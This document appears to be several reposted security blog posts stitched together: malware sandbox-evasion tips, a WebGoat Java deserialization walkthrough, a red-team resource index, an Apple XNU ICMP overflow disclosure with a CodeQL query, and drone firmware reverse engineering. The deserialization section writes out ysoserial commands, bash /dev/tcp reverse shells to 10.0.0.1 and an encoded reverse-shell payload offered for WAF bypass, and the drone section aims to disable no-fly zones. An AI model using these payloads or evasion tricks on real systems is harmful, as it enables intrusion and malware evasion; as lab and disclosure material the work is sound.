Whenever a malware is running in a sandbox, the sandbox will have the minimum number of recent files in the virtual machine reason being sandboxes are not used for usual work. So, we can run a loop to check the number of recent files and also files in temp directory to check if we are running in a virtual machine. If the number of recent files are less than 10-15, just sleep or suspend itself. Below is a code I wrote which loops to check all files and folders in a directory:

Now I can keep on going like this, but the blog will just get lengthier with this. Besides, below are a few things you can code to check if we are running in a sandbox:

  1. Check if the hard disk size is greater than 60 GB (Default Virtual Machine Sandbox Size is <100GB)
  2. Check if Packet Capture Driver is installed in the registry (To check if Wireshark or similar is running for packet analysis)
  3. Check if Virtual Box additions/extension pack is installed
  4. WannaCry DNS Sinkhole Method

This is another method which WannaCry used. So basically, the malware will try to connect to a domain that doesn’t exist. If it does, it means the malware is running in a sandbox, since Sandboxes will reply to a NX Domain too to check if that’s a C2 Server. If we get a NX domain in reply, then we can directly connect to the C2 host. BEWARE, that DNS Sinkholes can prevent your malware from executing at all. Instead you can buy a certain domain and check for a customized response to check if you are running in a sandbox environment.

Now, there are much more different ways to evade ML and AV detection and they aren’t really that hard. Evading ML based AVs are not rocket science as people say. It’s just that it requires more of free time to sit and understand how the underlying architecture works and find flaws to evade it.

It’s much better to invest in a highly technical Threat Hunter for detecting suspicious behaviors in your environment’s and logs rather than buying a high-end Sandbox or Antivirus Solution, though the latter is also useful in it’s own sense too.

 

Java Deserialization — From Discovery to Reverse Shell on Limited Environments

( Original text by By Ahmed Sherif & Francesco Soncina )

n this article, we are going to show you our journey of exploiting the Insecure Deserialization vulnerability and we will take WebGoat 8 deserialization challenge (deployed on Docker) as an example. The challenge can be solved by just executing sleepfor 5 seconds. However, we are going to move further for fun and try to get a reverse shell.


Introduction

The Java deserialization issue has been known in the security community for a few years. In 2015, two security researchers Chris Frohoff and Gabriel Lawrence gave a talk Marshalling Pickles in AppSecCali. Additionally, they released their payload generator tool called ysoserial.

Object serialization mainly allows developers to convert in-memory objects to binary and textual data formats for storage or transfer. However, deserializing objects from untrusted data can cause an attacker to achieve remote code execution.


Discovery

As mentioned in the challenge, the vulnerable page takes a serialized Java object in Base64 format from the user input and it blindly deserializes it. We will exploit this vulnerability by providing a serialized object that triggers a Property Oriented Programming Chain (POP Chain) to achieve Remote Command Execution during the deserialization.

The WebGoat 8 Insecure Deserialization challenge

By firing up Burp and installing a plugin called Java-Deserialization-Scanner. The plugin is consisting of 2 features: one of them is for scanning and the other one is for generating the exploit based on the ysoserial tool.

Java Deserialization Scanner Plugin for Burp Suite

After scanning the remote endpoint the Burp plugin will report:

Hibernate 5 (Sleep): Potentially VULNERABLE!!!

Sounds great!


Exploitation

Let’s move to the next step and go to the exploitation tab to achieve arbitrary command execution.

Huh?! It seems an issue with ysoserial. Let’s dig deeper into the issue and move to the console to see what is the issue exactly.

Error in payload generation

By looking at ysoserial, we see that two different POP chains are available for Hibernate. By using those payloads we figure out that none of them is being executed on the target system.

Available payloads in ysoserial

How the plugin generated this payload to trigger the sleep command then?

We decided to look at the source code of the plugin on the following link:

We noticed that the payload is hard-coded in the plugin’s source code, so we need to find a way to generate the same payload in order to get it working.

The payload is hard-coded.

Based on some research and help, we figured out that we need to modify the current version of ysoserial in order to get our payloads working.

We downloaded the source code of ysoserial and decided to recompile it using Hibernate 5. In order to successfully build ysoserial with Hibernate 5 we need to add the javax.el package to the pom.xml file.

We also have sent out a Pull Request to the original project in order to fix the build when the hibernate5 profile is selected.

Updated pom.xml

We can proceed to rebuild ysoserial with the following command:

mvn clean package -DskipTests -Dhibernate5

and then we can generate the payload with:

java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0
Working payload for Hibernate 5

We can verify that our command was executed by accessing the docker container with the following command:

docker exec -it <CONTAINER_ID> /bin/bash

As we can see our payload was successfully executed on the machine!

The exploit works!

We proceed to enumerate the binaries on the target machine.

webgoat@1d142ccc69ec:/$ which php
webgoat@1d142ccc69ec:/$ which python
webgoat@1d142ccc69ec:/$ which python3
webgoat@1d142ccc69ec:/$ which wget
webgoat@1d142ccc69ec:/$ which curl
webgoat@1d142ccc69ec:/$ which nc
webgoat@1d142ccc69ec:/$ which perl
/usr/bin/perl
webgoat@1d142ccc69ec:/$ which bash
/bin/bash
webgoat@1d142ccc69ec:/$

Only Perl and Bash are available. Let’s try to craft a payload to send us a reverse shell.

We looked at some one-liners reverse shells on Pentest Monkeys:

And decided to try the Bash reverse shell:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

However, as you might know, that java.lang.Runtime.exec()has some limitations. The shell operators such as redirection or piping are not supported.

We decided to move forward with another option, which is a reverse shell written in Java. We are going to modify the source code on the Gadgets.java to generate a reverse shell payload.

The following path is the one which we need to modify:

/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java from line 116 to 118.

The following Java reverse shell is mentioned on Pentest Monkeys which still didn’t work:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

After some play around with the code we ended up with the following:

String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);

Let’s rebuild ysoserial again and test the generated payload.

Generating the weaponized payload with a Bash reverse shell

And.. we got a reverse shell back!

Great!


Generalizing the payload generation process

During our research we found out this encoder as well that does the job for us ‘http://jackson.thuraisamy.me/runtime-exec-payloads.html

By providing the following Bash reverse shell:

bash -i >& /dev/tcp/[IP address]/[port] 0>&1

the generated payload will be:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}

Awesome! This encoder can also be useful for bypassing WAFs! 🚀



Special thanks to Federico Dotta and Mahmoud ElMorabea!

List of Awesome Red Teaming Resources

Awesome Red Teaming

Картинки по запросу Red Teaming

 

List of Awesome Red Team / Red Teaming Resources

This list is for anyone wishing to learn about Red Teaming but do not have a starting point.

Anyway, this is a living resources and will update regularly with latest Adversarial Tactics and Techniques based on Mitre ATT&CK

You can help by sending Pull Requests to add more information.

Table of Contents

 Initial Access

 Execution

 Persistence

 Privilege Escalation

User Account Control Bypass

Escalation

 Defense Evasion

 Credential Access

 Discovery

 Lateral Movement

 Collection

 Exfiltration

 Command and Control

Domain Fronting

Connection Proxy

Web Services

Application Layer Protocol

Infrastructure

 Embedded and Peripheral Devices Hacking

 Misc

 RedTeam Gadgets

Network Implants

Wifi Auditing

IoT

Software Defined Radio — SDR

Misc

 Ebooks

 Training ( Free )

 Certification

Kernel RCE caused by buffer overflow in Apple’s ICMP packet-handling code (CVE-2018-4407)

( Original text )

This post is about a heap buffer overflow vulnerability which I found in Apple’s XNU operating system kernel. I have written a proof-of-concept exploit which can reboot any Mac or iOS device on the same network, without any user interaction. Apple have classified this vulnerability as a remote code execution vulnerability in the kernel, because it may be possible to exploit the buffer overflow to execute arbitrary code in the kernel.

The following operating system versions and devices are vulnerable:

  • Apple iOS 11 and earlier: all devices (upgrade to iOS 12)
  • Apple macOS High Sierra, up to and including 10.13.6: all devices (patched in security update 2018-001)
  • Apple macOS Sierra, up to and including 10.12.6: all devices (patched in security update 2018-005)
  • Apple OS X El Capitan and earlier: all devices

I reported the vulnerability in time for Apple to patch the vulnerability for iOS 12 (released on September 17) and macOS Mojave (released on September 24). Both patches were announced retrospectively on October 30.

Severity and Mitigation

The vulnerability is a heap buffer overflow in the networking code in the XNU operating system kernel. XNU is used by both iOS and macOS, which is why iPhones, iPads, and Macbooks are all affected. To trigger the vulnerability, an attacker merely needs to send a malicious IP packet to the IP address of the target device. No user interaction is required. The attacker only needs to be connected to the same network as the target device. For example, if you are using the free WiFi in a coffee shop then an attacker can join the same WiFi network and send a malicious packet to your device. (If an attacker is on the same network as you, it is easy for them to discover your device’s IP address using nmap.) To make matters worse, the vulnerability is in such a fundamental part of the networking code that anti-virus software will not protect you: I tested the vulnerability on a Mac running McAfee® Endpoint Security for Mac and it made no difference. It also doesn’t matter what software you are running on the device — the malicious packet will still trigger the vulnerability even if you don’t have any ports open.

Since an attacker can control the size and content of the heap buffer overflow, it may be possible for them to exploit this vulnerability to gain remote code execution on your device. I have not attempted to write an exploit which is capable of doing this. My exploit PoC just overwrites the heap with garbage, which causes an immediate kernel crash and device reboot.

I am only aware of two mitigations against this vulnerability:

  1. Enabling stealth mode in the macOS firewall prevents the attack from working. Kudos to my colleague Henti Smith for discovering this, because this is an obscure system setting which is not enabled by default. As far as I’m aware, stealth mode does not exist on iOS devices.
  2. Do not use public WiFi networks. The attacker needs to be on the same network as the target device. It is not usually possible to send the malicious packet across the internet. For example, I wrote a fake web server which sends back a malicious reply when the target device tries to load a webpage. In my experiments, the malicious packet never arrived, except when the web server was on the same network as the target device.

Proof-of-concept exploit

I have written a proof-of-concept exploit which triggers the vulnerability. To give Apple’s users time to upgrade, I will not publish the source code for the exploit PoC immediately. However, I have made a short video which shows the PoC in action, crashing all the Apple devices on the local network.

The vulnerability

The bug is a buffer overflow in this line of code (bsd/netinet/ip_icmp.c:339):

m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);

This code is in the function icmp_error. According to the comment, the purpose of this function is to «Generate an error packet of type error in response to bad packet ip». It uses the ICMP protocol to send out the error message. The header of the packet that caused the error is included in the ICMP message, so the purpose of the call to m_copydata on line 339 is to copy the header of the bad packet into the ICMP message. The problem is that the header might be too big for the destination buffer. The destination buffer is an mbufmbuf is a datatype which is used to store both incoming and outgoing network packets. In this code, n is an incoming packet (containing untrusted data) and m is an outgoing ICMP packet. As we will see shortly, icp is a pointer into mm is allocated on line 294 or line 296:

if (MHLEN > (sizeof(struct ip) + ICMP_MINLEN + icmplen))
  m = m_gethdr(M_DONTWAIT, MT_HEADER);  /* MAC-OK */
else
  m = m_getcl(M_DONTWAIT, MT_DATA, M_PKTHDR);

Slightly further down, on line 314mtod is used to get m‘s data pointer:

icp = mtod(m, struct icmp *);

mtod is just macro, so this line of code does not check that the mbuf is large enough to hold an icmp struct. Furthermore, the data is not copied to icp, but to &icp->icmp_ip, which is at an offset of +8 bytes from icp.

I do not have the necessary tools to be able to step through the XNU kernel in a debugger, so I am actually a little unsure about the exact allocation size of the mbuf. Based on what I see in the source code, I think that m_gethdr creates an mbuf that can hold 88 bytes, but I am less sure about m_getcl. Based on practical experiments, I have found that a buffer overflow is triggered when icmplen >= 84.

At this time, I will not say any more about how the exploit works. I want to give Apple users a chance to upgrade their devices first. However, in the relatively near future I will publish the source code for the exploit PoC in our SecurityExploits repository.

Finding the vulnerability with QL

I found this vulnerability by doing variant analysis on the bug that caused the buffer overflow vulnerability in the packet-mangler. That vulnerability was caused by a call to mbuf_copydata with a user-controlled size argument. So I wrote a simple query to look for similar bugs:

**
 * @name mbuf copydata with tainted size
 * @description Calling m_copydata with an untrusted size argument
 *              could cause a buffer overflow.
 * @kind path-problem
 * @problem.severity warning
 * @id apple-xnu/cpp/mbuf-copydata-with-tainted-size
 */

import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph

class Config extends TaintTracking::Configuration {
  Config() { this = "tcphdr_flow" }

  override predicate isSource(DataFlow::Node source) {
    source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
  }

  override predicate isSink(DataFlow::Node sink) {
    exists (FunctionCall call
    | call.getArgument(2) = sink.asExpr() and
      call.getTarget().getName().matches("%copydata"))
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "m_copydata with tainted size."

This is a simple taint-tracking query which looks for dataflow from m_mtod to the size of argument of a «copydata» function. The function named m_mtod returns the data pointer of an mbuf, so it is quite likely that it will return untrusted data. It is what the mtod macro expands to. Obviously m_mtod is just one of many sources of untrusted data in the XNU kernel, but I have not included any other sources to keep the query as simple as possible. This query returns 9 results, the first of which is the vulnerability in icmp_error. I believe the other 8 results are false positives, but the code is sufficiently complicated that I do consider them to be bad query results.

Try QL on XNU

Unlike most other open source projects, XNU is not available to query on LGTM. This is because LGTM uses Linux workers to build projects, but XNU can only be built on a Mac. Even on a Mac, XNU is highly non-trivial to build. I would not have been able to do it if I had not found this incredibly useful blog post by Jeremy Andrus. Using Jeremy Andrus’s instructions and scripts, I have manually built snapshots for the three most recent published versions of XNU. You can download the snapshots from these links: 10.13.410.13.510.13.6. Unfortunately, Apple have not yet released the source code for 10.14 (Mojave / iOS 12), so I cannot create a QL snapshot for running queries against it yet. To run queries on these QL snapshots, you will need to download QL for Eclipse. Instructions on how to use QL for Eclipse can be found here.

Timeline

  • 2018-08-09: Privately disclosed to product-security@apple.com. Proof-of-concept exploit included.
  • 2018-08-09: Report acknowledged by product-security@apple.com.
  • 2018-08-20: product-security@apple.com asked me to send them the exact macOS version number and a panic log.
  • 2018-08-20: Returned the requested information to product-security@apple.com. Also sent them a slightly improved version of the exploit PoC.
  • 2018-08-22: product-security@apple.com confirmed that the issue is fixed in the betas of macOS Mojave and iOS 12. However, they also said that they are «investigating addressing this issue on additional platforms» and that they will not disclose the issue until November 2018.
  • 2018-09-17: iOS 12 released by Apple. The vulnerability was fixed.
  • 2018-09-24: macOS Mojave released by Apple. The vulnerability was fixed.
  • 2018-10-30: Vulnerabilities disclosed.

"Send it back"

Credits

  • «I am Error». Screenshot from Zelda II: The Adventure of Link. The screenshot copyright is believed to belong to Nintendo. Image downloaded from wikipedia.
  • «Send it back». By Edward Backhouse.

Brief reverse engineering work on FIMI A3

( Original text by Konrad Iturbe )

This is the start of a new series on reverse engineering consumer products, mainly to enhance their use but also to expose data leaks and vulnerabilities.

Something caught my eye last week. Xiaomi-backed FIMI, a Shenzhen company, released a drone. I tend to avoid most cheap drones since they tend to suck (bad quality camera, bad UX…) but this one is different.

This drone has a “DIY” port. This is an UART/PWM/GPIO port with what I assume are two ports for power. FIMI showcases how the user can attach a fireworks igniter or LEDs, but my mind went instantly to this DEF CON presentation from this year. The project is about a drone which is difficult to intercept but the author of the presentation also shows some offensive uses of drones. This drone can theoretically have a WiFi jammer or a promiscuous WiFi packet sniffer which can be activated from the ground. Possibilities are endless when you have this sort of port. The A3 also does not need a smartphone for operation, it includes a remote controller with an LCD panel. Having a smartphone controlling the drone opens a new vector for attackers (wifi network between the remote controller and cellphone can be brute forced, phone can have malware…). DJI does not yet have a all-in-one remote controller but Xiaomi has outsmarted them. Chinese innovation at its finest.

DIY port. Time to attach a RPI Zero with a pinneapple.
Some payloads that can be attached to drones. Source: David Melendez’s DEF CON talk PDF

On the camera side for those interested this drone is rocking the AMBA A12 chipset with a 1440p Sony CMOS sensor. Takes 8MP stills and can record 1080p video at 30FPS with a bitrate of 60 MB/s. The gimbal is 2 axis, just like the DJI Spark but at ~$250 this drone is a worthy competitor of the DJI Spark. If it only shot 4K video and had 3 axis gimbal, but we can’t have everything in life.


Part 1: The firmware(s):

FIMI makes the firmware available for downloading to anyone here.

The firmware is split into 3: The AMBA A12 firmware, the Drone Cortex A7 firmware and the remote controller firmware.

wget https://www.fimi.com/media/Productattachments//f/2/f21a-a-v010sp12rtm181027r16987-cn-rtm_u-release-741c119eb4d25878e21045e3f3c485d4.zip -P drone_fw/

wget https://www.fimi.com/media/Productattachments//f/i/firmware.zip -P cam_fw/

wget https://www.fimi.com/media/Productattachments//r/2/r21a-a-v010sp13rc181024r16900-cn-b_250k-release-ota-97b6c6c59241976086fabdc41472150c.zip -P remotecontrol_fw/

The firmwares are highly compressed. The filesize of each one is:

3.8M firmware.zip

488K f21a-a-v010sp12rtm181027r16987-cn-rtm_u-release-741c119eb4d25878e21045e3f3c485d4.zip

728K r21a-a-v010sp13rc181024r16900-cn-b_250k-release-ota-97b6c6c59241976086fabdc41472150c.zip

First step is to decompress each firmware zip file. After the decompression is done the remote firmware yields a 1.2M BFU file, the drone firmware is now a 492K BIN file and the camera firmware, which contains code relevant to the AMBA ISP yields 3 files: a 3.8M firmware.bin and two 0-byte files: rollback.txt and update.txt. Looking deeper at the firmware.bin file using binwalk 3 files are compressed: amba_ssp_svc.bin, dsp.bin.gz, rom.bin.gz

amba_ssp_svc.bin is a gz file, so the name should be amba_ssp_svc.bin.gz

Using extract_fw.sh we can get the gz files and their contents:

firmware.bin SHA512: 1cba74305d0491b957f1805c84e9b1cf5674002fc4f0de26905a16fb40303376187f1c35085b7455bff5c4de23cf8faa9479e4f78fd50dbf69947deb27f5d687

From here I used dd to extract the files. The “skip” flag is the location and the count is the next location — location.

dd if=[firmware.bin] of=out/amba_ssp_svc.bin.gz bs=1 skip=508 count=1812019
dd if=[firmware.bin] of=out/dsp.bin.gz bs=1 skip=1812527 count=1988127
dd if=[firmware.bin] of=out/rom.bin.gz bs=1 skip=3800654 count=143664

NOTE: All the files needed are on my github repository.

Now there is something to work with. Extrac each file with gunzip and we end up with:

4.3M amba_ssp_svc.bin
4.9M dsp.bin
2.3M rom.bin

Part 2: Ambarella chipset:

This is as far as we get. The 4.3M file is the AMBA chipset firmware. From here we can use some of the methods I used in reverse engineering GoPro camera firmwares:

strings amba_ssp_svc.bin | grep “c:\\\\”

The aim of this reverse engineering work is to:

  • See if we can flash our own images onto the drone
  • See what kind of resolutions and frame rates are available
  • See if we can run custom commands or get a telnet/RTOS session
  • Disable NFZ (No Fly Zones) and enable FCC (US 5GHz mode) in Europe
  • Can we root the drone?

It appears we can flash images from the SD card to the drone:

C:\version.txt
C:\update.txt
C:\rollback.txt
C:\firmware.bin

As per the resolutions, see cam_fw/out/README.md in the GitHub repository.

The AMBA A12 chipset accepts some commands, including what appears to be RTOS USB Shell.

The drone firmware and controller firmware don’t have such ways of getting into. The drone firmware is a bin file with no sections and the remote controller firmware is a bfu file.

It’d be interesting if the drone can fly on offline waypoints. Attaching a WiFi sniffer just got a whole lot easier.

I ordered this drone but it won’t arrive soon since it’s a pre-order.

Stay tuned for part 2!

GitHub repository: https://github.com/KonradIT/fimi_a3